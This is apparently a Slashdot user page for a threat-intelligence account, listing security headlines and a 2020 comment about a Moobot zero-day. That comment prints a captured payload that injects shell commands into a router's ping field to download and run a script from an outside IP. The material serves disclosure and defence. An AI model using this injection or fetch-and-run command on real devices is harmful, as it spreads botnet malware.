bad_packets
Re:Unknown zero-day used by Moobot (DDoS malware)
on Wednesday July 22, 2020 @10:23PM (#23923587)
Human readable format: https://pastebin.com/E7L84W5P
Unknown zero-day used by Moobot (DDoS malware)
Source IP: 93.174.93.139 Country: Netherlands User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0 Payload: POST /tools.cgi HTTP/1.1 POST Data: "op_type=ping&destination=;cd /tmp;busybox wget http://45.95.168.248/usb.sh;chmod 777 usb.sh;sh usb.sh;rm -rf usb.sh&user_options=\x0D\x0A" Target Port: 8080 Bad Packetsยฎ Tags: Unknown...
Over 1,800 F5 BIG-IP endpoints vulnerable to CVE-2020-5902
IPv4 Hilbert curve heatmap of spoofed events detected month-to-date
5,915 servers worldwide remain unpatched against CVE-2019-19781
Vulnerable Citrix servers detected worldwide: 5,915Total Citrix servers vulnerable to CVE-2019-19781 by country: ๐บ๐ธ United States 2,660 ๐ฌ๐ง United Kingdom 388 ๐ฆ๐บ Australia 287 ๐จ๐ณ China 273 ๐ฉ๐ช Germany 185 ๐จ๐ฆ Canada 177 ๐ซ๐ท France 173 ๐ฎ๐น Italy 159 ๐ง๐ท Brazil 109 ๐ธ๐ช Sweden 82 All others: 1,422Map of all countries impacted:...
Over 25,000 Citrix (NetScaler) endpoints vulnerable to CVE-2019-19781
Continued Exploitation of Pulse Secure VPN Vulnerability
CVE-2019-19781 exploited in the wild
Cyber gangsters demand payment from Travelex after 'Sodinokibiโ attack
2019 End of Year Summary โ Top Ports Targeted by Mirai-Like (DDoS) Botnets
2019 End of Year Summary โ Top Ports Targeted by Mirai-Like (DDoS) Botnets
CVE-2018-13379 exploited in the wild
Dutch police take down hornets' nest of DDoS botnets
Critical vBulletin vulnerability exploited in the wild to (re)install backdoor
Security contacts needed at these organizations for a critical vulnerability
Weekly CVE-2019-11510 Scan Results
Vulnerable Pulse Secure VPN servers detected: 9,002 Unique ASN affected: 1,858 Unique host (domain) names: 5,710Results are freely available for authorized CERT, CSIRT, or ISAC teams. Submit request via https://badpackets.net/contact/.
Latest CVE-2019-11510 scan results freely available for CERT and ISAC teams
8,804 Pulse Secure VPN servers remain vulnerable to CVE-2019-11510
DDoS attacks detected targeting these IPs
If you're a CERT or ISAC โ our CVE-2019-11510 scan results are freely available
Over 10k Pulse Secure VPN servers remain vulnerable to compromise
14,500 Pulse Secure VPN servers vulnerable to sensitive info disclosure flaw
Over 14,500 Pulse Secure VPN servers vulnerable to immediate compromise
Over 14,500 Pulse Secure VPN endpoints vulnerable to CVE-2019-11510 (critical)
Re:Over 2,500 Pulse Secure VPN endpoints vulnerable to CVE-2019-11510 ...
on Saturday August 24, 2019 @08:09AM (#20786675)
818 unique autonomous systems (network providers) were found to have vulnerable Pulse Secure VPN endpoints on their network. This vulnerability affects U.S. military, federal, state, and local governments agencies, public universities and schools, hospitals, major financial institutions, and other Fortune 500 companies.